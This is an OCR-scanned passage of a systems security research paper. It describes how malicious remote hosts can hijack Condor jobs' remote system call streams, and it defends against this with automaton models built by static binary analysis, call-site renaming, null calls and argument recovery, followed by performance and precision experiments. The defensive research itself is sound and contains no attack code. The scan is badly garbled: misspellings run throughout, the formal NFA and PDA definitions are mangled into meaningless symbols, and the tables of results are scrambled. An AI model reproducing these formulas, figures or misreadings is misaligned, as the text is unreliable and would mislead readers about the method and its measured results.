important class of remotely executing jobs require a 
communication path back to the local machine that orig- 
inated the job; the job sends its critical system calls, 
such as those for file access or network communication, 
back to the local machine to execute in the context of the 
submitting user. This type of remote execution occurs in 
the Condor distributed scheduling system [26], Globus 
computational Grid infrastructure [13,14], and Java 
applets. 

The implementation associated with our research 
takes place in the context of Condor. Condor schedules 
jobs on hosts both within the originator’s organization 
and on machines belonging to other organizations. In 
addition to scheduling these remote jobs, Condor check- 
points and migrates the jobs as necessary for reliability 
and performancereasons. It is possible for a given job to 
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execute, at different times, on several hosts in several 
different administrative domains. 

Condor ts a prevalent execution environment, par- 
ticularly for scientific research. For example, in the year 
2000, researchers used Condor to solve a 32-year-old 
unsolved combinatorial optimization problem called 
nug30 [2]. Remote jobs ran on 2510 processors across 
the United States and Italy and outside the administra- 
tive control of the program’s authors. Furthermore, the 
network path between each remote process and its origi- 
nating host tncluded public Internet links. A malicious 
third party with access to either the execution machines 
or network links could have manipulated the originating 
machine, as we now detail. 

Remote system calls tn Condor are simply a variant 
ofa remote procedure call (RPC). A client s «6 library ts 
linked with the application program instead of the stan- 
dard system call library. The stub functions within this 
library package the parameters to the call into a mes- 
sage, send the message over the network to the submit- 
ting machine, and await any result. A local agent on the 
submitting machine services such calls, unpacking the 
request, executing the call, and packaging and sending 
any result back to the remote machine. 

This RPC model exposes the submitting machine to 
several vulnerabilities. These vulnerabilities have the 
common characteristic that a malicious entity on the 
remote machine can control the job, and therefore con- 
trol its remote system call stream. This malicious system 
call stream could cause a variety of bad things to be 
done to the submitting user. The simplest case of a mali- 
cious remote host is when the host’s owner (with admin- 
istrative privileges) takes control of the remote job. 
More complex and harder-to-track cases might be 
caused by previous malicious remote jobs. A previously 
discovered vulnerability in Condor had this characteris- 
tic [27]. When a remote job executes, it ts typically run 
as a common, low privilege user, such as “nobody.” A 
malicious user could submit a job that forks (creates a 
new process) and then terminates. The child process 
remains running, but it appears to Condor as if the job 
has terminated. When a new job ts scheduled to run on 
that host, the lurking process detects the newly arrived 
job and dynamically attaches to the job and takes con- 
trol of it. The lurker can then generate malicious remote 
calls that will be executed to the detriment of the 
machine that originated the innocent job (see Figure 2). 

Similar results are possible with less unusual 
attacks. If the call stream crosses any network that ts not 
secure, a machine on the network may impersonate the 
application process, generating spoofed calls that may 
be treated by the local host as genuine. Imposter applets 
have successfully used tmpersonation attacks against the 
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Figure 3: Our static analyzer reads a binary program and 

produces a local checking agent and a modified application 

that executes remotely. The checking agent incorporates a 
model of the application. 


servers with whom the original applets communicate 
[16]. 


3 Generating Models Using Static Analysis 


We start with the binary program that is submitted for 
execution. Before execution, we analyze the program to 
produce two components: a checking agent and a modi- 
fied application (see Figure 3). The checking agent is a 
local agent that incorporates the model of the applica- 
tion. As the agent receives remote system calls for exe- 
cution, it first verifies the authenticity of each call by 
operating the model. Execution continues only while the 
model remains in a valid state. The modified application 
is the original program with its binary code rewritten to 
improve model precision while also offering a modicum 
of obfuscation. The modified application executes 
remotely, transmitting its remote system calls to the 
checking agent. 

Our various models aré finite-state machines: non- 
deterministic finite automata (NFA) and push-down 
automata (PDA). Each edge of an automaton ts labeled 
with an alphabet symboL-here the identity of a remote 
system call. The automaton has final states, or states 
where operation of the automaton may successfully 
cease. The ordered sequences of symbols on all con- 
nected sequences of edges from the entry state to a final 
state define the /anguage accepted by the automaton. 
For a given application, the language defined by a per- 
fect model of the application ts preciscly all possible 
sequences of remote system calls that could be gener- 
ated by the program in correct executton with an arbi- 
trary input. 

Construction of the automaton modeling the appli- 
cation progresses in three stages: 

1. Acontrol flow graph (CFG) ts built for each proce- 
dure in the binary. Each CFG represents all possible 
execution paths in a procedure. 
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Figure 4: Code Example. (a) This C code writcs to stdout a command linc argument as text or the string “none\n” if no 
argument is provided. (b) The SPARC assembly code for main. We do not show the assembly code for linc or end. 
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call write 
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Figure 5: Control Flow Graph for main. Control transfcersin 
SPARC codc have onc delay slot. Outgoing cdgcs of cach 
basic block arc labeled with the name of the call in the block. 
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end 


2. Weconvert the collection of CFGs into a collection 
of /ocal autoniata. Each local automaton models 
the possible streams of remote system calls gencr- 
ated in a single procedure. 

3. We compose these automata at points of function 
calls internal to the application, producing an inter- 
procedural automaton modeling the application as 
a whole. 

The interprocedural automaton 1s the model incorpo- 

rated into the checking agent. 

Figure 4(a) shows an example C language program 
that writes a string to the standard output. The main 
function translates to the SPARC code in Figure 4(b) 
when compiled. We include the C code solely for the 
reader’s ease; the remainder of this section demonstrates 
analysis of the binary code that a compiler and assem- 
bler produces from this source program. 


3.1 From Binary Code to CFGs 


We use a Standard tool to read binary code and generate 
CFGs. The Executable Editing Library (EEL) provides 
an abstract interface to parse and edit (rewrite) SPARC 
binary executables [25]. EEL builds objects representing 
the binary under analysis, including the CFG for each 
procedure and a call graph representing the interproce- 
dural calling structure of the program. Nodes of the 
CFG, or basic blocks, contain linear sequences of 
instructions and edgcs between blocks represent control 
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Figure 6: Local Automata. The local automata for cach of 
the three functions given tn Figure 4 after & reduction. 


flow; i.e. the possible paths followed at branches. 
Figure 5 shows the CFG for main from Figure 4. 


3.2 From CFGs to Local Automata 


Foreach procedure, we use its CFG to construct an NFA 
representing all possible sequences of calls the proce- 
dure can generate. This is a natural translation of the 
CFG into an NFA that retains the structure of the CFG 
and labels the outgoing edges of each basic block with 
the name of the function call in that block, if such a call 
exists. Outgoing edges of blocks without a function call 
are labeled €&. The automaton mirrors the points of con- 
trol flow divergence and convergence in the CFG and 
the possible streams of calls that may arise when tra- 
versing such flow paths. 

Formally, we convert each control flow graph 
G = (¥,£) into an NFA given by 4 = (Q, 3, 6, gp. £), O 
being the set of states, 2 the input alphabet, 6 the transi- 
tion relation, gy the unique entry state, and F the set of 
accepting states; where: 


aa 

x = {JD]Ave V, v contains a call labeled ID } 
dy = Vg is the unique CFG entry 

F = {v|visaCFG exit} 


E ‘ 
s—3t fnocall ats 


b= 
‘ ; PLD oo xg 
sale lls 4> ifcall labeled ID ats 


To reduce space requirements, each NFA is & 
reduced and minimized. The classical €-reduction algo- 
rithm simultaneously determinizes the automaton, an 
exponential process [19]. We develop a linear time & 
reduction algorithm, shown bclow, that does not deter- 
minize the automaton. The algorithm recognizes that a 
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Figure 7: Final NFA Model. The automaton produced 
following cal! site replacement. €-reduction has not been 
performed. The dotted line represents a path nol present in the 
original program but accepted by the model. 


set of states in a strongly connected component made of 
€-edges are reachable from one another without consum- 
ing an input symbol and collapses them to a single state. 


1. Abstract the automaton to a directed graph. 

2. Using only Gedges, calculate the strongly con- 
nected components of the graph. 

3, All states in the same strongly connected compo- 
nent may reach any other by a sequence of &transi- 
tions, so the states are collapsed together. We now 
have a directed acyclic graph (DAG) over the col- 
lapsed states, with the remaining €-edges those that 
connect strongly connected components. 

4. For all non-€-edges e originating at a state m in the 
DAG, add copies of ¢ originating from all states m- 
such that m reaches n by a sequence of &-edges. 

5. Remove the e&edges that connect strongly con- 
nected components. 

6. Remove unreachable states and edges from the 
graph. 


The resultant graph is the reduced automaton (Figure 6). 
Using standard algorithms and data structures, our & 
reduction procedure runs in linear time. 

Automaton minimization recognizes equivalent 
states, where equivalence indicates that all sequences of 
symbols accepted following the states are identical. 
Such states are collapsed together, reducing the overall 
size and complexity of the automaton. An O(n log n) 
algorithm exists to minimize deterministic automata 
[18], but it is not easily abstracted to an NFA. Our proto- 
type uses an O(") version of the algorithm suitable for 
an NFA. 
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3.3 From Local Automata to an Interprocedural 
Automaton 


Constructing an Interprocedural NFA, We extend the 
notion of a single procedure NFA model to a model of 
the entire application. The local automata are composed 
to form one global NFA by call site replacement. We 
replace every cdge representing a procedure call with 
control flow through the automaton modeling the callee, 
a common technique used clsewherc to construct system 
dependence graphs [20] and also used by Wagner and 
Dean in their work [36,37]. 


1. Add an e-edge from the source state of the call 
edge tothe entry state of the called automaton. 

2. Add €-edges from every final state of the called 
automaton back to the destination state of the call 
edge. 

3. Remove the original call edge. 


Where there was an edge representing a called function, 
contro] now flows through the model of that function. 
Recursion is handled just as any other function call. Call 
site replacement reintroduces €-cdges, so the automaton 
is reduced as before. Figure 7 presents the final automa- 
ton, without &reduction for clarity. 

There is no replication of automata. Call site 
replacement links multiple call sites to the same procc- 
dure to the same local automaton. Every final state of 
the called automaton has €edges returning to all call 
sites. /mpossible paths exist: control flow may enter the 
automaton from one call site but return on an €-edge to 
another (Figure 7). Such behavior its impossible 1n actual 
program execution, but a malicious user manipulating 
the executing program may use such edges in the model 
as an exploit. In applications with thousands of proce- 
dures and thousands more call sites, such imprecision 
must be addressed. 

Constructing an Interprocedural PDA. Introduction 
of impossible paths is aclassical program analysis prob- 
lem arising from context insensitive analysis (sec e.g. 
[28]). A push-down automaton climinates impossible 
paths by additionally modeling the state of the applica- 
tion’s run-time stack. An executing application cannot 
follow an impossible path because the return site loca- 
tion 1s stored on its run-time stack. A PDA ts context 
sensitive, including a model of the stack to precisely 
mirror the state of the running application. 

This is an interprocedural change. We construct 
local automata as before. The &edgces added during call 
site replacement, though, now contain an_ identifier 
uniquely specifying each call edge’s return state 
(Figure 8). Each ¢-edge linking the source of a function 
call edge to the entry state of the called automaton 


May 


e push B 





Figure 8: PDA Model. ‘The &cdgcs into and out of a called 
automaton arc paired so that only a rctum cdge corresponding 
to the cdgc traverscd at call initiation can be followed. 


pushes the return state identifier onto the PDA stack, 
just as the executing program pushes the return address 
onto the run-time stack. The &edges returning control 
flow from the callee pop the identifier from the PDA 
stack, mirroring the application’s pop of the return 
address from its run-time stack. Such a pop edge 1s tra- 
versed only when the identifier on the edge matches the 
symbol at the top of the stack. The identifiers on the & 
edges define matched sets of edges. Only return edges 
that correspond to a particular entry edge may be tra- 
versed when exiting the called automaton. Since a PDA 
tracks this calling context, impossible paths cannot 
exist. 

We link local automata using modified call site 
replacement: 


|. Uniquely mark each local automaton state that ts 
the target of a non-system call edge. 

For each non-system call edge, do steps 2, 3, and 4: 

2. Add an €-edge from the source state of the edge to 
the entry state of the destination automaton. Label 
the €-edge with push X, where X 1s the identifier at 
the target of the call edge. 

3. Addan &edge from each final state of the destina- 
tion automaton to the target of the call edge. Label 
each €-edge with pop X, where X ts the identifier 
from step 2. 

4. Delete the original call edge. 


Formally, let the interprocedural PDA be 
P => (On2. 1, 5; Gus Bp! ), where? is therset ef states, 2: 
is the input alphabet, Fis the stack alphabet, 6 is the 
transition relation, gg is the unique entry state, Zy is the 
initial stack configuration, and F' 1s the set of accepting 
states. Given local NFA models 4; = (Q;-2;,8) 99, £) 
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for the procedures, the PDA P for the program ts given 
by: 


b= 
i 


I = {JD | £D 1s the destination identifier of a call edgc} 


dy = “o Of the initially executed automaton 

£,= 0 

* = fF, are the final states of the initially executed 
automaton 


8(q, 4, €) = (p, €) if di st. gp € 5, foraa 
remote call 

8(q. & €) = (p. 1D) if Fi,r st gor e5,, where a 
is a procedure call with p = q, , and~« is identi- 
fied by LD 

0(g,€, 1D) = (p,e€) if di,r s.t. ro p e 6,, where a 
is a procedure call with ge F., and p ts identi- 
fied by /D 


The initially executed automaton, here denoted by Apo, Is 
that modeling the function to which the operating sys- 
tem first transfers control, e.g. start or main. 

Unfortunately, a PDA ts not a viable model in an 
operational setting. In a straightforward operation of the 
automaton, the nui-time stack may grow until it con- 
sumes all system resources. In particular, the stack size 
is infinite in the presence of left recursion. To counter 
left recursion challenges, Wagner and Dean operate the 
PDA with an algorithm similar to the post* algorithm 
used in the context of model checking of push-down 
systems [10]. They demonstrate the algorithm to be pro- 
hibitively expensive [36,37]. Addressing imprecision 
requires a more reasonable approach. 


3.4 Optimizations to Address Sources of Impre- 
cision 

Imprecisions in the models arise from impossible paths, 
context insensitive analysis, and malicious argument 
manipulation. We develop several optimizations that tar- 
get these particular sources of imprecision while main- 
taining efficiency. 


3.4.1 Impossible Paths 


Discarding push-down automata as not viable requires 
impossible paths to be readdressed. Impossible paths 
arise at the final states of automata that are spliced into 
multiple call sites. The €&return edges introduce diver- 
gent control flow where no such divergence exists in the 
application. We have developed several NFA model 
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optimizations to reduce the effect of retum edges upon 
the paths in the model. 

Dead Automata Removal. A lectf{f automaton is a 
local automaton that contains no function call edges. 
Any leaf automaton that contains no remote system call 
edges is dead—it models no control flow of interest. Any 
other local automaton that contains a call edge to the 
dead leaf may replace that call edge with an €-edge. This 
continues, recursively, backward up the call chain. To 
eliminate impossible paths introduced by linking to a 
dead automaton, we insert this dependency calculation 
step prior to call site replacement. 

Automata Inlining. Recall that in call site replace- 
ment, all calls to the same function are linked to the 
same local automaton. Borrowing a suitable phrase from 
compilers, we use automata inlining to replace each call 
site with a splice to a wnigue copy of the called automa- 
ton. Impossible paths are removed from this call site at 
the expense of a larger global automaton. In theory, the 
global automaton may actually be smaller and less 
dense because false edges introduced by impossible 
paths will not be present, however we have generally 
found that the state space of the automaton does 
increase significantly in practice. 

Single-Edge Replacement. An inlining special case, 
single-edge replacement is a lightweight inlining tech- 
nique used when the called automaton has exactly one 
edge. The function call edge is simply replaced with a 
copy of the edge in the callee. This ts inexpensive inlin- 
ing, for no states nor €-edges are added, yet the model 
realizes inlining gains. 

Bounded Stack Model. Revisiting the idea of a PDA 
model, we find that both the problems of infinite left 
recursion and, more generally, unbounded stacks may 
be solved simply by limiting the maximum size of the 
run-time stack. For some NV, we model only the top NV 
elements of the stack; all pop edges are traversed when 
the stack becomes empty. The state space of the run- 
time automaton Is now finite, requiring only finite mem- 
ory resources. Correspondingly, the language accepted 
by the bounded-stack PDA ts regular, but more closely 
approximates a context-free language than a regular 
NFA. 

Unfortunately, a bounded stack introduces a new 
problem at points of left recursion. Any recursion 
deeper than the maximum height of the stack destroys 
all context sensitivity: the stack first fills with only the 
recursive symbol; then, unwinding recursion clears the 
stack. All stack symbols prior to entering recursion are 
lost. 

Hybrid Model. This recursion effect scems to be the 
opposite of what is desired. For many programs, recur- 
sion typically involves a minority of its functions. We 
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Figure 9: The automaton for main after call site renaming. 
Edgcs labeled with function calls intcrnal to the application 
are not renamed, as these cdges arc splice points for call site 

replacement. 


consider that it may be more precise to discard recursive 
symbols rather than symbols prior to entering recursion. 
Our hybrid model uses both NFA and PDA edges during 
interprocedural construction to accomplish this. Call site 
replacement uses simple &edges when the procedure 
call is on a recursive cycle. A stack symbol is used only 
when a call is not recursive. Recursion then adds no 
symbols to the PDA stack, leaving the previous context 
sensitivity intact. As in the bounded-stack PDA, the 
hybrid automaton defines a regular language that over- 
approximates the context-free grammar accepted by a 
true PDA. 


3.4.2 Context Insensitivity 


Regardless of the technique used to construct the inter- 
procedural model, the analysis basis for all local models 
is context insensitive. We take all control flow paths as 
equally likely irrespective of the previous execution flow 
and do not evaluate predicates at points of divergence. 
This straightforward analysis leads to a degree of non- 
determinism in the local automata that we seek to 
reduce. Reducing non-determinism decreases the size of 
the frontier of possible current states in the automaton at 
run-time. There are, in turn, fewer outgoing edges from 
the frontier, improving efficiency and precision. 

Renaming. During program analysis, every remote 
call site is assigned a randomly generated name. We 
produce a stub function with this random name that 
behaves as the original call and rewrite the binary pro- 
gram so that the randomly named function is called. 
That is, rather than calling a remote system call stub 
named, say, write, the call is toa stub named 3998. We 
are essentially passing all call site names through a one- 
time encryption function. The key is stored at the check- 
ing agent (on the submitting machine), which translates 
the random name back to the original call name before 
execution. 


All call sites are thus differentiated. Two separate 
calls to the same function now appear as calls to differ- 
ent functions. The random names label edges in the 
automaton and serve as the input symbol at model run- 
time. Renaming reduces non-determinism, for the 
model knows precisely where the program 1s in execu- 
tion after every received call. Comparing Figure 9 with 
Figure 6, we see that the automaton for main becomes 
fully deterministic with renamed call sites. 

This is an alphabet change, moving from symbols 
indicating call names to the potentially larger set of 
symbols defining individual call sites. An attacker must 
specify attacks given this randomly generated alphabet, 
thus requiring analysis to recover the transformations. 
Further, only remote calls that are actually used in the 
program may be used itn an attack. Renamed calls are 
generated from call sites, blocking from use any unused 
remote call stub still linked into the application. 

Call site renaming produces equivalent but less 
human-readable program text, acting as a simplistic 
obfuscation technique [8]. The checking agent main- 
tains the transformations; recovery by a malicious indi- 
vidual requires program analysis to indicate likely 
remote call names given the context of the call tn the 
program. Since we can rewrite the binary code, further 
obfuscation techniques are applicable: arguments may 
be reordered and mixed with dummy arguments on a 
per-call-site basis, for example. More general methods 
to obscure control flow are similarly possible, although 
we have not pursued such techniques. 

A recent paper by Barak et. al. presents a complex- 
ity-theoretic argument that proves the impossibility of a 
specific class of obftuscating transformations [5]. They 
define an obfuscated program as a “virtual black box”, 
l.e., any property that can be computed by analyzing the 
obfuscated program can also be computed from the 
input-output behavior of the program. In contrast to 
their work, we require that it is computationally hard for 
an adversary to recover the original system calls corre- 
sponding to the renamed calls, 1.e., it is computationally 
hard for the adversary to invert the renaming function. 
Hence, our obfuscation requirement 1s much weaker 
than the “virtual blackbox” requirement imposed by 
Barak et. al. However, we are not claiming theoretical 
guarantees of the strength of our obfuscation trans for- 
mation but merely observing that the theoretical results 
presented by Barak et. al. do not directly apply in our 
context. 

Null calls. Insertion of null calls-dummy remote 
system calls that translate to null operations at the 
checking agent—provides similar effects. We place the 
calls within the application so that each provides execu- 
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tion context to the checking agent, again reducing non- 
determinism. 

For example, null calls may be placed immediately 
following each call site of a frequently called function. 
Recall that we introduce tmpossible paths during call 
site replacement, and specifically where we link the final 
states of a local automaton to the function call return 
states. Inserting the null calls at the function call return 
sites distinguishes the return locations. Only the true 
return path will be followed because only the symbol 
cotresponding to the null call at the true return site will 
be transmitted. The other impossible paths exiting from 
the called automaton are broken. 

There is a run-time element to renaming and null 
call insertion. While reducing non-determinism, the 
possible paths through the automaton remain unchanged 
(although they are labeled differently). To an attacker 
with knowledge of the transformations, the available 
attacks in a transfonned automaton are equivalent to 
those in the original, provided the attacker takes control 
of the call stream before any remote calls occur. An 
attacker who assumes control after one or more remote 
calls will be restricted because operation of the model to 
that point will have been more precise. 


3.4.3 Argument Manipulation 


A remote system call exists within a calling context that 
influences the degree of manipulation available to a 
malicious process. For example, at a call site to open, a 
malicious process could alter the name of the file passed 
as the first argument to the call. A model that checks 
only the names of calls tn the call stream would accept 
the open call as valid even though it has been mali- 
ciously altered. The context of the open call, however, 
may present additional evidence to the checking agent 
that enables such argument modifications to be detected 
or prevented. 

Argument Recovery. As local automata are con- 
structed, we recover all statically determined arguments 
by backward slicing on the SPARC argument registers. 
In backward register slicing, we tterate through the pre- 
vious Instructions that affect a given register value [34]. 
Essentially, we are finding the instructions that comprise 
an expression tree. We simulate the instructions in soft- 
ware to recover the result, used here as an argument to a 
call. We successfully recover numeric arguments known 
Statically and strings resident in the data space of the 
application. The checking agent stores all recovered 
arguments so that they are unavailable for manipulation. 

In Figure 10, the backward slice of register 01 at 
the point of the second call to write tn function main 
iterates through the two instructions that affect the value 
of 01. Only the emphasized instructions are inspected; 
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sethi %hi(Dnone), %o1 


or %01, %lo(Dnone), %ol1 
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Figure 10: Register Slicing. We itcrate backwards through 
the instructions that modify register 01 prior to the call site. 


instructions that do not affect the value %o01 are ignored. 
In this case, Dnone 1s a Static memory location indicating 
where in the data space the string for ““none\n” resides. 
We recover the string by first stimulating the instructions 
sethi and or in software to compute the memory 
address and then reading the string from the data space. 

A similar analysis is used to determine possible tar- 
gets of indirect calls. Every indirect call site is linked to 
every fiinction in the program that has tts address taken. 
We identify such functions by slicing backward on the 
register written at every program point to determine if 
the value written is an entry address. Our register slicing 
is intraprocedural, making this a reasonable computa- 
tion. 


3.5 Unresolved Issues 


Dynamic. Linking. A dynamically linked application 
loads shared object code available on the remote 
machine into its own address space. Although this code 
is non-local, we can fairly assume that the remote 
machine provides standard libraries to ensure correct 
execution of remote jobs. Analysis of the local standard 
libraries would then provide accurate models of dynam- 
ically linked functions. 

Although straightforward, we have not yet imple- 
mented support for dynamically linked applications. 
Some libraries on Solaris 8, such as libnsl.so, use 
indirect calls extensively. As we improve our handling 
of indirect calls, we expect to handle these applications. 

Signal Handling. During execution, receipt of a sig- 
nal will cause control flow to jump tn and out ofa signal 
handler regardless of the previous execution state. This 
entry and exit is undetectable to the checking agent save 
the alarms it may generate. As we already instrument 
the binary, we expect to insert null calls at the entry and 
exit points of all signal handlers to act as out-of-band 
notifications of signal handler activity. These instrumen- 
tations have not yet been implemented. 

Multithreading. Both kernel and user level thread 
swaps are invisible to the checking agent; thread swaps 
will likely cause the run-time model to fail, and this 
remains an area for future research. User level thread 
scheduling would allow instrumentation of the schedul- 
ing routines so that the checking agent could swap to the 
corresponding model for the thread. A keel scheduling 
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monitor would require kernel modifications and 1s cur- 
rently not under consideration. 

Interpreted Languages. Programs written in lan- 
guages such as SML [3] and Java are compiled into an 
intermediate form rather than to native binary code. To 
execute the program, a native-code run-time interpreter 
reads this intermediate representation as data and exe- 
cutes specific binary code scgments based upon this 
input. Binary code analysis will build a model of the 
interpreter that accepts all sequences of remote calls that 
could be generated by ay compiled program. A precise 
model for a specific application can be built cither with 
knowledge of the intermediate representation and the 
way it 1s interpreted by the run-time component or by 
partial evaluation of the interpreter [21]. However, 1f the 
program 1s compiled into native code before execution, 
as 1S common in many Java virtual machine 1mplemen- 
tations [33], our techniques could again be used to con- 
struct program-spccific models of execution. 


4 Experimental Results 


We evaluate our techniques using two criteria: precision 
and efficiency. A precise model ts one that incorporates 
all sequences of calls that may be generated by an appli- 
cation but few or no sequences that cannot. An efficient 
model is one that adds only a small run-time overhead. 
Only efficient models will be deployed, and only precise 
models are of security interest. 

This section looks first at a prototype tool we used 
to evaluate our techniques and models. We examine 
metrics that measure precision and propose a method to 
identify unsafe states in an automaton. Our tests show 
that although null call insertion markedly improves the 
precision of our models, care must be used so that the 
additional calls do not overwhelm the network. We 
finally examine optimizations, including renaming, 
argument recovery, and stack abstractions that improve 
the quality of our models. 


4.1 Experimental Setup 


We implemented an analyzer and a run-time monitor for 
a simulated remote execution environment to test the 
precision and efficiency of our automaton models. The 
analyzer examines the submitted binary program and 
outputs an automaton and a modified binary. The autom- 
aton is read and operated by a stand-alone process, the 
monitor, that acts as the checking local agent, communi- 
cating with the modified program using message-pass- 
ing inter-process communication. The monitor is not an 
RPC server and only verifies that the system call 
encountered by the program is accepted by the model. If 
the monitor successfully updates the automaton, the 


original system call proceeds in the rewritten applica- 
tion. 

Our analyzer and simulated execution environment 
run on a Sun Ultra 10 440 Mhz workstation with 640 
Mb of RAM running Solaris 8. To simulate a wide-area 
network, we add a delay per received remote system call 
equivalent to the round trip time between a computer tn 
Madison, Wisconsin and a computer in Bologna, Italy 
(127 ms). We do not include a delay for data transfer, for 
we do not statically know what volume of data will be 
transferred. Null calls require no reply, so the delay 
added per null call is the average time to call send with a 
20 byte buffer argument (13 pus). During evaluation, the 
collection of Solaris libc kernel trap wrapper functions 
defines our set of remote system calls. 

We present the analysis results for six test programs 
(sec Table 1 for program descriptions and workloads 
and Table 2 for statistics). All workloads used default 
program options; we specified no command line 
switches. 

As we have not implemented general support for 
dynamically linked functions, we statically link all pro- 
grams. However, several network libraries, such as 
libresolv.so, can only be dynamically linked on 
Solaris machines. We analyze these libraries using the 
same techniques as for an application program, but store 
the generated automata for later use. When our analysis 
of a program such as procmail or finger reveals a call to 
a dynamically linked function, we read in the stored 
local automaton and continue. We currently ignore the 
indirect calls in dynamically linked library functions 
unless the monitor generates an error at run-time at the 
indirect call location. 


4.2 Metrics to Measure Precision and Efficiency 


We wish to analyze both the precision of our models and 
the efficiency with which the monitor may operate them. 
Precision dictates the degree to which an adversary 1s 
limited in their attacks, and thus the usefulness of the 
model as a countcr-measure. Efficient operation is a 
requirement for deployment in real remote execution 
environments. 

For comparison, we measure automaton precision 
using Wagner and Dean’s dynamic average branching 


factor metric [36,37]. This metric first partitions the sys- 


tem calls into two sets, dangerous and safe. Then, during 
application execution and model operation, the number 
of dangerous calls that would next be accepted by the 
model is counted following each operation. The total 
count is averaged over the number of operations on the 
model. Smaller numbers are favorable and indicate that 
an adversary has a small opportunity for exploit. 
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| Program Description 





cntropy 

header ficlds from tcpdump data. 
random] 

three seed valucs. 
lgzip Compresscs and decompresses [ilcs. 


GNU finger 





Displays information about the users ofa computer. 


Workload 


Calculates the conditional probabilitics of packet}Compute one conditional probability from 100,000 


data records. 


Gencrates a randomized sequence of numbers from|Randomize the numbers |-999, 


Compress a single 13 Mb text file. 


Display information for three users, “bart,” “jha,” 
and “giffin.” 





finger Displays information about the users ofa computer. |Display inJormation for three uscrs, “bart,” “jha,” 
. and “giffin.” 
|procmail Processes incoming mail messages. Process a single incoming message. 
Table 1: Test program descriptions and test workloads. 

Language (Source) | tions (Binary) (Binary) 
fentrony 
random | ' 172 {0 1,232 |] 133,632 
[ez mT |= 
GNU Finger 409 55m 
| finger 2,456 | gcc L370 90,486 
procmail 10,717 cc Si 107,167 


Table 2: Test programs statistics. Source code linc counts do nol include library code. Statistics for the binary programs include 
code in statically linked libraries. 


208.33 | 208.48 
81.49 81.61 
Se Sau 
30.23 S025 
20.90 | 21.00 


entropy 
gzip 

randoml 
GNU finger 
Inger 


procmall 


Our efficiency measurements are straightforward. 
Using the UNIX utility time, we measure each applica- 
tion’s execution time in the simulated environment with- 
out operating any model. This is a baseline measure 
indicating delay due to simulated network transit over- 
head, equivalent to a remote execution environment’s 
run-time conditions. We then turn on checking and vari- 
ous optimizations to measure the overhead introduced 
by our checking agent. We find the NFA model efficient 
to operate but the bounded PDA disappointingly slow. 
Tlowever, the extra precision gained from inclusion of 
null calls into the bounded PDA model dramatically 
improves efficiency. 


4.3 The NFA Model 


We evaluate the models of the six test programs with 
respect to precision and cfficiency. Our baseline ana- 
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Table 3: NFA run-time overheads. Absolute overheads indicate execution time in seconds. 





Null calls 
fan-in 3 
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82.26 


be oe % vite. Ba 
fan-in 2 | 


287.27 37.9 % 
675.47 | 728.9% 
10.68 10.4% 


DU 
Sey a 


% increase 


0.0% 
0.9% 


50°23 
3259 
21.08 


1.8 % 
Lom 
0.9 % 


lyzer includes renaming, argument recovery, dead 
automaton removal, and single-edge replacement. Using 
the NFA model, we compare the results of several! null 
call placement strategies against this baseline and con- 
sider the trade-off between performance and efficiency 
due to the null call insertion. 

We use four different null call placement strategies. 
First, no calls are inserted. Second, calls are inserted at 
the entry point of every function with a fan-in of 10 or 
more--that is, the functions called by 10 or more other 
functions in the application. Third, we insert calls at the 
entry point of every function with a fan-in of 5 or 
ercater. Fourth, we instrument functions with a fan-in of 
2 or more. We have tried three other placement strate- 
gies but found they occasionally introduced a glut of 
null calls that would overwhelm the network: adding 
calls to all functions on recursive cycles; to all functions 
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NFA Precision 


a) 


Average Branching Factor 
nN 





0 Nonull calls 

@ Null calls in functions with fan-in >= 10 
O Null calls in Functions with fan-in >= 5 
M@ Null calls in functions with fan-in >= 2 
* Valuc < 0.001 


Figure 11: NFA precision. Modcls included all basclinc 
optimizations. 


whose modeling automaton’s entry state is also a final 
state, ensuring every call chain gencrates at least one 
symbol; and to functions with fan-in of | or more. As 
we expected, this sequence of greater instrumentation 
increases the precision and quality of the automata 
while negatively impacting performance as the extra 
calls require additional network activity. More gener- 
ally, the problem of sclecting good null call insertion 
points is similar to that of selecting optimal locations to 
insert functions for program tracing, a topic of previous 
research [4]. We will investigate the use of such sclec- 
tion algorithms for our future implementations. 

We found that null call insertion dramatically 
improved precision. Figure 11 shows the dynamic aver- 
age branching factor for the six test programs at each of 
the null call placement strategies. Instrumenting at the 
maximum level improves precision over non-instru- 
mented models by an order of magnitude or more. Even 
though null call insertion adds edges to the local autom- 
ata, we observe that the number of edges in the final 
automaton are usually significantly lower, indicating 
that call site replacement introduces fewer impossible 
paths. The edge count in procmail’s model drops by an 
order of magnitude even though the state count 
increases modestly. We believe these results demon- 
strate the great potential of introducing null calls. 

Although unfortunate, null call insertion has the 
expected detrimental effect on application run-times. 
Each null call encountered during execution drops 
another call onto the network for relay to the checking 
agent. The application need not wait for a response, but 
each call ts still an expensive kernel trap and adds to net- 
work traffic. Table 3 shows the additional execution 


Null calls 
fan-in2 











fan-in 10 fan-in 5 
a0 
m3 
random | 223.9 


Table 4: Null call bandwidth requirements, in Kbps. The 
programs uscd NFA models with bascline optimizations. 







time resulting from operation of models with null calls. 
Table 4 lists the bandwidth requirements of each inser- 
tion level for null calls that each consume 100 bytes of 
bandwidth. 

We make two primary observations from these 
results. First, our NFA model is incredibly efficient to 
operate at run-time when no null calls have been 
inserted. Second, inserting null calls in functions with 
fan-in 5 or greater is a good balance between precision 
gain and additional overhead in our six test programs. 
Unfortunately, two programs require moderate bandwith 
at this instrumentation level. We believe the varying 
bandwidth needs among our test programs are due in 
part to our naive null call insertion strategies. We expect 
that an algorithm such as that developed by Ball and 
Larus [4] will reduce bandwidth requirements and 
Improve consistency among a collection of programs. 


4.4 Effects of Optimizations 


We analyzed procmail further to evaluate renaming, 
argument recovery, and our stack abstractions. We did 
not analyze automaton inlining here, for it surprisingly 
proved to be an ineflicient optimization. Inlining added 
significant overhead to model construction but delivered 
little gain in precision. Similarly, we found the run-time 
characteristics of the hybrid model to be nearly identical 
to those of the bounded PDA. We will not examine 
inlining or the hybrid model in any greater detail. 

To see the effects of renaming and argument recov- 
ery, we selectively turned off these optimizations. The 
graph in Figure 12 measures average branching factor 
dependent on use of call site renaming and of argument 
recovery in the program procmail. As we expected, both 
renaming and argument recovery reduced the impreci- 
sion in the model. The reduction produced by renaming 
is solely due to the reduction in non-determinism. Argu- 
ment recovery reduces imprecision by removing argu- 
ments from manipulation by an adversary. Renaming 
and argument recovery together reduce imprecision 
more than either optimization alone. 
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—8— Null calls in functions with fan-in >= 10 
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Figure 12: Precision improvements with renamed call sites 
and argument recovery. 


At first glance, it may seem counter-intuitive that 
argument recovery should reduce imprecision to a 
greater degree than renaming. Argument recovery is, 
after all, a subset of renaming; static arguments distin- 
guish the call site. However, an attacker cannot manipu- 
late a recovered argument, so system calls that were 
dangerous with unknown arguments become of no 
